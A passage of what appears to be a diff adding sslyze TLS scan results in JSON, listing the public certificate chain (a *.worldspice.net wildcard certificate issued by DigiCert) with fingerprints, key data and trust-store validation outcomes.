OoBrp+uvFRTp2InBuThs4pFsiv9kuXclVzDAGySj4dzp30d8tbQk\nCAUw7C29C79Fv1C5qfPrmAESrciIxpg0X40KPMbp1ZWVbd4=\n-----END CERTIFICATE-----\n", + "fingerprint_sha1": "qJhdOmXl5cSy19ZtQMbdL7GcVDY=", + "fingerprint_sha256": "Q0ig6URMeMsmXgWNXolEtNhPlmK9Jtslf4k0pEPHAWE=", + "hpkp_pin": "r/mIkG3eEpVdm+u/ko/cwxzOMo1bk4TyHIlByibiA5E=", + "issuer": { + "attributes": [ + { + "oid": { + "dotted_string": "2.5.4.6", + "name": "countryName" + }, + "rfc4514_string": "C=US", + "value": "US" + }, + { + "oid": { + "dotted_string": "2.5.4.10", + "name": "organizationName" + }, + "rfc4514_string": "O=DigiCert Inc", + "value": "DigiCert Inc" + }, + { + "oid": { + "dotted_string": "2.5.4.11", + "name": "organizationalUnitName" + }, + "rfc4514_string": "OU=www.digicert.com", + "value": "www.digicert.com" + }, + { + "oid": { + "dotted_string": "2.5.4.3", + "name": "commonName" + }, + "rfc4514_string": "CN=DigiCert Global Root CA", + "value": "DigiCert Global Root CA" + } + ], + "rfc4514_string": "CN=DigiCert Global Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US" + }, + "not_valid_after": "2031-11-10T00:00:00", + "not_valid_before": "2006-11-10T00:00:00", + "public_key": { + "algorithm": "_RSAPublicKey", + "ec_curve_name": null, + "ec_x": null, + "ec_y": null, + "key_size": 2048, + "rsa_e": 65537, + "rsa_n": 28559384442792876273280274398620578979733786817784174960112400169719065906301471912340204391164075730987771255281479191858503912379974443363319206013285922932969143082114108995903507302607372164107846395526169928849546930352778612946811335349917424469188917500996253619438384218721744278787164274625243781917237444202229339672234113350935948264576180342492691117960376023738627349150441152487120197333042448834154779966801277094070528166918968412433078879939664053044797116916260095055641583506170045241549105022323819314163625798834513544420165235412105694681616578431019525684868803389424296613694298865514217451303 + }, + "serial_number": 10944719598952040374951832963794454346, + "signature_algorithm_oid": { + "dotted_string": "1.2.840.113549.1.1.5", + "name": "sha1WithRSAEncryption" + }, + "signature_hash_algorithm": { + "digest_size": 20, + "name": "sha1" + }, + "subject": { + "attributes": [ + { + "oid": { + "dotted_string": "2.5.4.6", + "name": "countryName" + }, + "rfc4514_string": "C=US", + "value": "US" + }, + { + "oid": { + "dotted_string": "2.5.4.10", + "name": "organizationName" + }, + "rfc4514_string": "O=DigiCert Inc", + "value": "DigiCert Inc" + }, + { + "oid": { + "dotted_string": "2.5.4.11", + "name": "organizationalUnitName" + }, + "rfc4514_string": "OU=www.digicert.com", + "value": "www.digicert.com" + }, + { + "oid": { + "dotted_string": "2.5.4.3", + "name": "commonName" + }, + "rfc4514_string": "CN=DigiCert Global Root CA", + "value": "DigiCert Global Root CA" + } + ], + "rfc4514_string": "CN=DigiCert Global Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US" + }, + "subject_alternative_name": { + "dns": [] + } + } + ], + "was_validation_successful": true + }, + { + "openssl_error_string": null, + "trust_store": { + "ev_oids": null, + "name": "Java", + "path": "/usr/lib/python3/dist-packages/sslyze/plugins/certificate_info/trust_stores/pem_files/oracle_java.pem", + "version": "jdk-13.0.2" + }, + "verified_certificate_chain": [ + { + "as_pem": "-----BEGIN CERTIFICATE-----\nMIIHbjCCBlagAwIBAgIQBJM6fUHhvi3C1z6HHJtR+jANBgkqhkiG9w0BAQsFADBN\nMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMScwJQYDVQQDEx5E\naWdpQ2VydCBTSEEyIFNlY3VyZSBTZXJ2ZXIgQ0EwHhcNMjAwNzIxMDAwMDAwWhcN\nMjIwOTA4MTIwMDAwWjBtMQswCQYDVQQGEwJVUzESMBAGA1UECBMJVGVubmVzc2Vl\nMRAwDgYDVQQHEwdNZW1waGlzMR0wGwYDVQQKExRXZWJOZXQgTWVtcGhpcywgSW5j\nLjEZMBcGA1UEAwwQKi53b3JsZHNwaWNlLm5ldDCCASIwDQYJKoZIhvcNAQEBBQAD\nggEPADCCAQoCggEBAKbE6X+zlcl1DN4r1kDYUdTc5v/uIf/471xSnM6jgcTnnR/Y\n5YeOiQ6qXJMb7z3zvltZGfTGPEqlwZwUOvwjj0nBVvH7SZt9sQo6hEbMskFZKCOF\nqqtXruXscrnL2dLwr5xKJGYFly09rLGwosFTogIBhUy0M2dyNjTAmOUMlfXlJmDH\npmvx+ODJH3Kkem3LiqhYkut64Oa4So2G9vjeHBPVhNrioVFqEBaZRscpvUAsDjm5\nxrPutH6jsmFK67QLM2VCm+RhH71RAo2ow8IQYM1INj2GFiCKundctt1WrFKHha86\nLvjDYh9a4STThuknInX2RR4yjx7T5h4O8Bo/TFsCAwEAAaOCBCgwggQkMB8GA1Ud\nIwQYMBaAFA+AYRyCMWHVLyjnjUY4tCzhxtniMB0GA1UdDgQWBBT+moyCnw8t+ue0\n44Cp0zjyGOBiBDCB6gYDVR0RBIHiMIHfghAqLndvcmxkc3BpY2UubmV0ghNtYWls\nLndvcmxkc3BpY2UubmV0ghVuYWdpb3Mud29ybGRzcGljZS5uZXSCEm9zcy53b3Js\nZHNwaWNlLm5ldIITaW1hcC53b3JsZHNwaWNlLm5ldIITc210cC53b3JsZHNwaWNl\nLm5ldIIbY29udHJvbHBhbmVsLndvcmxkc3BpY2UubmV0ghRzdGFmZi53b3JsZHNw\naWNlLm5ldIIec2VjdXJlLWNvbW1lcmNlLndvcmxkc3BpY2UubmV0gg53b3JsZHNw\naWNlLm5ldDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsG\nAQUFBwMCMGsGA1UdHwRkMGIwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNv\nbS9zc2NhLXNoYTItZzYuY3JsMC+gLaArhilodHRwOi8vY3JsNC5kaWdpY2VydC5j\nb20vc3NjYS1zaGEyLWc2LmNybDBMBgNVHSAERTBDMDcGCWCGSAGG/WwBATAqMCgG\nCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMAgGBmeBDAEC\nAjB8BggrBgEFBQcBAQRwMG4wJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2lj\nZXJ0LmNvbTBGBggrBgEFBQcwAoY6aHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29t\nL0RpZ2lDZXJ0U0hBMlNlY3VyZVNlcnZlckNBLmNydDAMBgNVHRMBAf8EAjAAMIIB\nfQYKKwYBBAHWeQIEAgSCAW0EggFpAWcAdgBGpVXrdfqRIDC1oolp9PN9ESxBdL79\nSbiFq/L8cP5tRwAAAXNx8GtxAAAEAwBHMEUCICqvgaan2BWQ7bDmOT/xpmV47IKP\nZ21+RjdS9smFzdfHAiEA6Ehxwo+1FpzL27vJEqbrkpPxPqz+2IjcAt8ammrNdikA\ndgAiRUUHWVUkVpY/oS/x922G4CMmY63AS39dxoNcbuIPAgAAAXNx8GtVAAAEAwBH\nMEUCIAxQnsUwQoym7eUbfDqYEaYR9Ldrvpfqyw5gby3lEYxLAiEAlOX/U7jMUrBr\nq6aRtRGUKMHFxngOl7GdEOy1wCJ9JT8AdQBRo7D1/QF5nFZtuDd4jwykeswbJ8v3\nnohCmg3+1IsF5QAAAXNx8GuxAAAEAwBGMEQCIA6qEhLulmy7t/2vBJTR3fsLIMJV\n3WRYE2KQYbwUHBEYAiAPzNeBWzg2gNDj9gmuUXyl7M96IPz86oZCkClSZ5yvpDAN\nBgkqhkiG9w0BAQsFAAOCAQEADlFP6eckleQbC9eI2AxQQyeKB6ADuj9HLfB05LRk\nr80Q0M5VBXin9YC9MIixAz43l49REyjLtVpGJ9fa/VJ/DKEXocGcYBPbySVciaKo\nrPW3LQW1rR7iedbMMgAkw0jjAA6UsocQsIpus5qWaqLerxgsKB8Ahu2wk/GAJGmz\nLSLNs/u2YGoApqSZOwxHtwLBXL3zNsA9AYYsqaGsJVhIxlnZqWySeCuWyQBt+qpz\nO+FYbCH1HumuRvvKs4H+ARLign6kdfxylkr8gou7Fe2Hsn9S2cBhEVKIombtQehD\nZxi3SWcoj8o5fDWhZjg0dmY8nx5ky1xCFFJeQLkRyE/BqA==\n-----END CERTIFICATE-----\n", + "fingerprint_sha1": "rCzunnJALCiEKzQ8keOhaDGd6OQ=", + "fingerprint_sha256": "Y3n3zh59kDWKUfyJ1Ew4VIK7BYV30mNnlvaeblg3Wf8=", + "hpkp_pin": "WLmhHopnGYHmVPHKEMCFDbxItZxVAXJE/CpFq6BR0Y8=", + "issuer": { + "attributes": [ + { + "oid": { + "dotted_string": "2.5.4.6", + "name": "countryName" + }, + "rfc4514_string": "C=US", + "value": "US" + }, + { + "oid": { + "dotted_string": "2.5.4.10", + "name": "organizationName" + }, + "rfc4514_string": "O=DigiCert Inc", + "value": "DigiCert Inc" + }, + { + "oid": { + "dotted_string": "2.5.4.3", + "name": "commonName" + }, + "rfc4514_string": "CN=DigiCert SHA2 Secure Server CA", + "value": "DigiCert SHA2 Secure Server CA" + } + ], + "rfc4514_string": "CN=DigiCert SHA2 Secure Server CA,O=DigiCert Inc,C=US" + }, + "not_valid_after": "2022-09-08T12:00:00", + "not_valid_before": "2020-07-21T00:00:00", + "public_key": { + "algorithm": "_RSAPublicKey", + "ec_curve_name": null, + "ec_x": null, + "ec_y": null, + "key_size": 2048, + "rsa_e": 65537, + "rsa_n": 21052659602255636463538604647483749083515783089354242919067607619891951544427250980336374825268779596384030518649395968955553782395797388856032198774804646888901144118084148242622415305320662219271757619765791183438231099173675613273193512870117241466504369146052945029478603452407803692169792805208746352111150625572780753798980367973665773178858389992631996208264389944444721807567186793884705261613035042029937107705315620324407956878261811133260057255526701083076159431836981185206821747532225772312315999426303261173474985586583915107121043115994270762278138797153452063565151899901600082563820770139677252340827 + }, + "serial_number": 6081365925011041274511708029397455354, + "signature_algorithm_oid": { + "dotted_string": "1.2.840.113549.1.1.11", + "name": "sha256WithRSAEncryption" + }, + "signature_hash_algorithm": { + "digest_size": 32, + "name": "sha256" + }, + "subject": { + "attributes": [ + { + "oid": { + "dotted_string": "2.5.4.6", + "name": "countryName" + }, + "rfc4514_string": "C=US", + "value": "US" + }, + { + "oid": { + "dotted_string": "2.5.4.8", + "name": "stateOrProvinceName" + }, + "rfc4514_string": "ST=Tennessee", + "value": "Tennessee" + }, + { + "oid": { + "dotted_string": "2.5.4.7", + "name": "localityName" + }, + "rfc4514_string": "L=Memphis", + "value": "Memphis" + }, + { + "oid": { + "dotted_string": "2.5.4.10", + "name": "organizationName" + }, + "rfc4514_string": "O=WebNet Memphis\\, Inc.", + "value": "WebNet Memphis, Inc." + }, + { + "oid": { + "dotted_string": "2.5.4.3", + "name": "commonName" + }, + "rfc4514_string": "CN=*.worldspice.net", + "value": "*.worldspice.net" + } + ], + "rfc4514_string": "CN=*.worldspice.net,O=WebNet Memphis\\, Inc.,L=Memphis,ST=Tennessee,C=US" + }, + "subject_alternative_name": { + "dns": [ + "*.worldspice.net", + "mail.worldspice.net", + "nagios.worldspice.net", + "oss.worldspice.net", + "imap.worldspice.net", + "smtp.worldspice.net", + "controlpanel.worldspice.net", + "staff.worldspice.net", + "secure-commerce.worldspice.net", + "worldspice.net" + ] + } + }, + { + "as_pem": "-----BEGIN CERTIFICATE-----\nMIIElDCCA3ygAwIBAgIQAf2j627KdciIQ4tyS8+8kTANBgkqhkiG9w0BAQsFADBh\nMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3\nd3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBD\nQTAeFw0xMzAzMDgxMjAwMDBaFw0yMzAzMDgxMjAwMDBaME0xCzAJBgNVBAYTAlVT\nMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIg\nU2VjdXJlIFNlcnZlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB\nANyuWJBNwcQwFZA1W248ghX1LFy949v/cUP6ZCWA1O4Yok3wZtAKc24RmDYXZK83\nnf36QYSvx6+M/hpzTc8zl5CilodTgyu5pnVILR1WN3vaMTIa16yrBvSqXUu3R0bd\nKpPDkC55gIDvEwRqFDu1m5K+wgdlTvza/P96rtxcflUxDOg5B6TXvi/TC2rSsd9f\n/ld0Uzs1gN2ujkSYs58O09rg1/RrKatEp0tYhG2SS4HD2nOLEpdIkARFdRrdNzGX\nkujNVA075ME/OV4uuPNcfhCOhkEAjUVmR7ChZc6gqikJTvOX6+guqw9ypzAO+sf0\n/RR3w6RbKFfCs/mC/bdFWJsCAwEAAaOCAVowggFWMBIGA1UdEwEB/wQIMAYBAf8C\nAQAwDgYDVR0PAQH/BAQDAgGGMDQGCCsGAQUFBwEBBCgwJjAkBggrBgEFBQcwAYYY\naHR0cDovL29jc3AuZGlnaWNlcnQuY29tMHsGA1UdHwR0MHIwN6A1oDOGMWh0dHA6\nLy9jcmwzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEdsb2JhbFJvb3RDQS5jcmwwN6A1\noDOGMWh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEdsb2JhbFJvb3RD\nQS5jcmwwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8v\nd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwHQYDVR0OBBYEFA+AYRyCMWHVLyjnjUY4tCzh\nxtniMB8GA1UdIwQYMBaAFAPeUDVW0Uy7ZvCj4hsbw5eyPdFVMA0GCSqGSIb3DQEB\nCwUAA4IBAQAjPt9L0jFCpbZ+QlwaRMxp0Wi0XUvgBCFsS+JtzLHgl4+mUwnNqipl\n5TlPHoOlblyYoiQm5vuh7ZPHLgLGTUq/sELfeNqzqPlt/yGFUzZgTHbO7Djc1lGA\n8MXW5dRNJ2Srm8c+cftIl7gzbckTB+6WohsYFfZcTEDts8Ls/3HB40f/1LkAtDdC\n2iDJ6m6K7hQGrn2iWZiIqBtvLfTyyRRfJs8sjX7tN8Cp1Tm5gr8ZDOo0rwAhaPit\nc+LJMto4JQtV05od8GiG7S5BNO98pVAdvzr508EIDObtHopYJeS4d60tbvVS3bR0\nj6tJLp07kzQoH3jOlOrHvdPJbRzeXDLz\n-----END CERTIFICATE-----\n", + "fingerprint_sha1": "H7hrEWjsdDFUBi6MnMWxcaS3zLQ=", + "fingerprint_sha256": "FUxDPEkZKcXvaG6DjjI2ZKAOag2CLMyVj7TasD5JoI8=", + "hpkp_pin": "5kJvNEMw0KjrCAu7eXY5HZdvyCS13BbA0VJG1RSP91w=", + "issuer": { + "attributes": [ + { + "oid": { + "dotted_string": "2.5.4.6", + "name": "countryName" + }, + "rfc4514_string": "C=US", + "value": "US" + }, + { + "oid": { + "dotted_string": "2.5.4.10", + "name": "organizationName" + }, + "rfc4514_string": "O=DigiCert Inc", + "value": "DigiCert Inc" + }, + { + "oid": { + "dotted_string": "2.5.4.11", + "name": "organizationalUnitName" + }, + "rfc4514_string": "OU=www.digicert.com", + "value": "www.digicert.com" + }, + { + "oid": { + "dotted_string": "2.5.4.3", + "name": "commonName" + }, + "rfc4514_string": "CN=DigiCert Global Root CA", + "value": "DigiCert Global Root CA" + } + ], + "rfc4514_string": "CN=DigiCert Global Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US" + }, + "not_valid_after": "2023-03-08T12:00:00", + "not_valid_before": "2013-03-08T12:00:00", + "public_key": { + "algorithm": "_RSAPublicKey", + "ec_curve_name": null, + "ec_x": null, + "ec_y": null, + "key_size": 2048, + "rsa_e": 65537, + "rsa_n": 27858400285679723188777933283712642951289579686400775596360785472462618845441045591174031407467141927949303967273640603370583027943461489694611514307846044788608302737755893035638149922272068624160730850926560034092625156444445564936562297688651849223419070532331233030323585681010618165796464257277453762819678070632408347042070801988771058882131228632546107451893714991242153395658429259537934263208634002792828772169217510656239241005311075681025394047894661420520700962300445533960645787118986590875906485125942483622981513806162241672544997253865343228332025582679476240480384023017494305830194847248717881628827 + }, + "serial_number": 2646203786665923649276728595390119057, + "signature_algorithm_oid": { + "dotted_string": "1.2.840.113549.1.1.11", + "name": "sha256WithRSAEncryption" + }, + "signature_hash_algorithm": { + "digest_size": 32, + "name": "sha256" + }, + "subject": { + "attributes": [ + { + "oid": { + "dotted_string": "2.5.4.6", + "name": "countryName" + }, + "rfc4514_string": "C=US", + "value": "US" + }, + { + "oid": { + "dotted_string": "2.5.4.10", + "name": "organizationName" + }, + "rfc4514_string": "O=DigiCert Inc", + "value": "DigiCert Inc" + }, + { + "oid": { + "dotted_string": "2.5.4.3", + "name": "commonName" + }, + "rfc4514_string": "CN=DigiCert SHA2 Secure Server CA", + "value": "DigiCert SHA2 Secure Server CA" + } + ], + "rfc4514_string": "CN=DigiCert SHA2 Secure Server CA,O=DigiCert Inc,C=US" + }, + "subject_alternative_name": { + "dns": [] + } + }, + { + "as_pem": "-----BEGIN CERTIFICATE-----\nMIIDrzCCApegAwIBAgIQCDvgVpBCRrGhdWrJWZHHSjANBgkqhkiG9w0BAQUFADBh\nMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3\nd3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBD\nQTAeFw0wNjExMTAwMDAwMDBaFw0zMTExMTAwMDAwMDBaMGExCzAJBgNVBAYTAlVT\nMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j\nb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMIIBIjANBgkqhkiG\n9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4jvhEXLeqKTTo1eqUKKPC3eQyaKl7hLOllsB\nCSDMAZOnTjC3U/dDxGkAV53ijSLdhwZAAIEJzs4bg7/fzTtxRuLWZscFs3YnFo97\nnh6Vfe63SKMI2tavegw5BmV/Sl0fvBf4q77uKNd0f3p4mVmFaG5cIzJLv07A6Fpt\n43C/dxC//AH2hdmoRBBYMql1GNXRor5H4idq9Joz+EkIYIvUX7Q6hL+hqkpMfT7P\nT19sdl6gSzeRntwi5m3OFBqOasv+zbMUZBfHWymeMr/y7vrTC0LUq7dBMtoM1O/4\ngdW7jVg/tRvoSSiicNoxBN33shbyTApOB6jtSj1etX+jkMOvJwIDAQABo2MwYTAO\nBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA95QNVbR\nTLtm8KPiGxvDl7I90VUwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUw\nDQYJKoZIhvcNAQEFBQADggEBAMucN6pIExIK+t1EnE9SsPTfrgT1eXkIoyQY/Esr\nhMAtudXH/vTBH1jLuG2cenTnmCmrEbXjcKChzUyImZOMkXDiqw8cvpOp/2PV5Adg\n06O/nVsJ8dWO41P0jmP6P6fbtGbfYmbW0W5BjfIttep3Sp+dWOIrWcBAI+0tKIJF\nPnlUkiaY4IBIqDfv8NZ5YBberOgOzW6sRBc4L0na4UU+Krk2U886UAb3LujEV0ls\nYSEY1QSteDwsOoBrp+uvFRTp2InBuThs4pFsiv9kuXclVzDAGySj4dzp30d8tbQk\nCAUw7C29C79Fv1C5qfPrmAESrciIxpg0X40KPMbp1ZWVbd4=\n-----END CERTIFICATE-----\n", + "fingerprint_sha1": "qJhdOmXl5cSy19ZtQMbdL7GcVDY=", + "fingerprint_sha256": "Q0ig6URMeMsmXgWNXolEtNhPlmK9Jtslf4k0pEPHAWE=", + "hpkp_pin": "r/mIkG3eEpVdm+u/ko/cwxzOMo1bk4TyHIlByibiA5E=", + "issuer": { + "attributes": [ + { + "oid": { + "dotted_string": "2.5.4.6", + "name": "countryName" + }, + "rfc4514_string": "C=US", + "value": "US" + }, + { + "oid": { + "dotted_string": "2.5.4.10", + "name": "organizationName" + }, + "rfc4514_string": "O=DigiCert Inc", + "value": "DigiCert Inc" + }, + { + "oid": { + "dotted_string": "2.5.4.11", + "name": "organizationalUnitName" + }, + "rfc4514_string": "OU=www.digicert.com", + "value": "www.digicert.com" + }, + { + "oid": { + "dotted_string": "2.5.4.3", + "name": "commonName" + }, + "rfc4514_string": "CN=DigiCert Global Root CA", + "value": "DigiCert Global Root CA" + } + ], + "rfc4514_string": "CN=DigiCert Global Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US" + }, + "not_valid_after": "2031-11-10T00:00:00", + "not_valid_before": "2006-11-10T00:00:00", + "public_key": { + "algorithm": "_RSAPublicKey", + "ec_curve_name": null, + "ec_x": null, + "ec_y": null, + "key_size": 2048, + "rsa_e": 65537, + "rsa_n": 28559384442792876273280274398620578979733786817784174960112400169719065906301471912340204391164075730987771255281479191858503912379974443363319206013285922932969143082114108995903507302607372164107846395526169928849546930352778612946811335349917424469188917500996253619438384218721744278787164274625243781917237444202229339672234113350935948264576180342492691117960376023738627349150441152487120197333042448834154779966801277094070528166918968412433078879939664053044797116916260095055641583506170045241549105022323819314163625798834513544420165235412105694681616578431019525684868803389424296613694298865514217451303 + }, + "serial_number": 10944719598952040374951832963794454346, + "signature_algorithm_oid": { + "dotted_string": "1.2.840.113549.1.1.5", + "name": "sha1WithRSAEncryption" + }, + "signature_hash_algorithm": { + "digest_size": 20, + "name": "sha1" + }, + "subject": { + "attributes": [ + { + "oid": { + "dotted_string": "2.5.4.6", + "name": "countryName" + }, + "rfc4514_string": "C=US", + "value": "US" + }, + { + "oid": { + "dotted_string": "2.5.4.10", + "name": "organizationName" + }, + "rfc4514_string": "O=DigiCert Inc", + "value": "DigiCert Inc" + }, + { + "oid": { + "dotted_string": "2.5.4.11", + "name": "organizationalUnitName" + }, + "rfc4514_string": "OU=www.digicert.com", + "value": "www.digicert.com" + }, + { + "oid": { + "dotted_string": "2.5.4.3", + "name": "commonName" + }, + "rfc4514_string": "CN=DigiCert Global Root CA", + "value": "DigiCert Global Root CA" + } + ], + "rfc4514_string": "CN=DigiCert Global Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US" + }, + "subject_alternative_name": { + "dns": [] + } + } + ], + "was_validation_successful": true + }, + { + "openssl_error_string": null, + "trust_store": { + "ev_oids": [ + { + "dotted_string": "1.2.276.0.44.1.1.1.4", + "name": "Unknown OID" + }, + { + "dotted_string": "1.2.392.200091.100.721.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.2.40.0.17.1.22", + "name": "Unknown OID" + }, + { + "dotted_string": "1.2.616.1.113527.2.5.1.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.159.1.17.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.13177.10.1.3.10", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.14370.1.6", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.14777.6.1.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.14777.6.1.2", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.17326.10.14.2.1.2", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.17326.10.14.2.2.2", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.17326.10.8.12.1.2", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.17326.10.8.12.2.2", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.22234.2.5.2.3.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.23223.1.1.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.29836.1.10", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.34697.2.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.34697.2.2", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.34697.2.3", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.34697.2.4", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.36305.2", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.40869.1.1.22.3", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.4146.1.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.4788.2.202.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.6334.1.100.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.6449.1.2.1.5.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.782.1.2.1.8.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.7879.13.24.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.8024.0.2.100.1.2", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.156.112554.3", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.528.1.1003.1.2.7", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.578.1.26.1.3.3", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.756.1.83.21.0", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.756.1.89.1.2.1.1", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.792.3.0.3.1.1.5", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.792.3.0.4.1.1.4", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.840.1.113733.1.7.23.6", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.840.1.113733.1.7.48.1", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.840.1.114028.10.1.2", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.840.1.114171.500.9", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.840.1.114404.1.1.2.4.1", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.840.1.114412.2.1", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.840.1.114413.1.7.23.3", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.840.1.114414.1.7.23.3", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.840.1.114414.1.7.24.3", + "name": "Unknown OID" + } + ], + "name": "Mozilla", + "path": "/usr/lib/python3/dist-packages/sslyze/plugins/certificate_info/trust_stores/pem_files/mozilla_nss.pem", + "version": "2021-12-19" + }, + "verified_certificate_chain": [ + { + "as_pem": "-----BEGIN CERTIFICATE-----\nMIIHbjCCBlagAwIBAgIQBJM6fUHhvi3C1z6HHJtR+jANBgkqhkiG9w0BAQsFADBN\nMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMScwJQYDVQQDEx5E\naWdpQ2VydCBTSEEyIFNlY3VyZSBTZXJ2ZXIgQ0EwHhcNMjAwNzIxMDAwMDAwWhcN\nMjIwOTA4MTIwMDAwWjBtMQswCQYDVQQGEwJVUzESMBAGA1UECBMJVGVubmVzc2Vl\nMRAwDgYDVQQHEwdNZW1waGlzMR0wGwYDVQQKExRXZWJOZXQgTWVtcGhpcywgSW5j\nLjEZMBcGA1UEAwwQKi53b3JsZHNwaWNlLm5ldDCCASIwDQYJKoZIhvcNAQEBBQAD\nggEPADCCAQoCggEBAKbE6X+zlcl1DN4r1kDYUdTc5v/uIf/471xSnM6jgcTnnR/Y\n5YeOiQ6qXJMb7z3zvltZGfTGPEqlwZwUOvwjj0nBVvH7SZt9sQo6hEbMskFZKCOF\nqqtXruXscrnL2dLwr5xKJGYFly09rLGwosFTogIBhUy0M2dyNjTAmOUMlfXlJmDH\npmvx+ODJH3Kkem3LiqhYkut64Oa4So2G9vjeHBPVhNrioVFqEBaZRscpvUAsDjm5\nxrPutH6jsmFK67QLM2VCm+RhH71RAo2ow8IQYM1INj2GFiCKundctt1WrFKHha86\nLvjDYh9a4STThuknInX2RR4yjx7T5h4O8Bo/TFsCAwEAAaOCBCgwggQkMB8GA1Ud\nIwQYMBaAFA+AYRyCMWHVLyjnjUY4tCzhxtniMB0GA1UdDgQWBBT+moyCnw8t+ue0\n44Cp0zjyGOBiBDCB6gYDVR0RBIHiMIHfghAqLndvcmxkc3BpY2UubmV0ghNtYWls\nLndvcmxkc3BpY2UubmV0ghVuYWdpb3Mud29ybGRzcGljZS5uZXSCEm9zcy53b3Js\nZHNwaWNlLm5ldIITaW1hcC53b3JsZHNwaWNlLm5ldIITc210cC53b3JsZHNwaWNl\nLm5ldIIbY29udHJvbHBhbmVsLndvcmxkc3BpY2UubmV0ghRzdGFmZi53b3JsZHNw\naWNlLm5ldIIec2VjdXJlLWNvbW1lcmNlLndvcmxkc3BpY2UubmV0gg53b3JsZHNw\naWNlLm5ldDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsG\nAQUFBwMCMGsGA1UdHwRkMGIwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNv\nbS9zc2NhLXNoYTItZzYuY3JsMC+gLaArhilodHRwOi8vY3JsNC5kaWdpY2VydC5j\nb20vc3NjYS1zaGEyLWc2LmNybDBMBgNVHSAERTBDMDcGCWCGSAGG/WwBATAqMCgG\nCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMAgGBmeBDAEC\nAjB8BggrBgEFBQcBAQRwMG4wJAYIKwYBBQU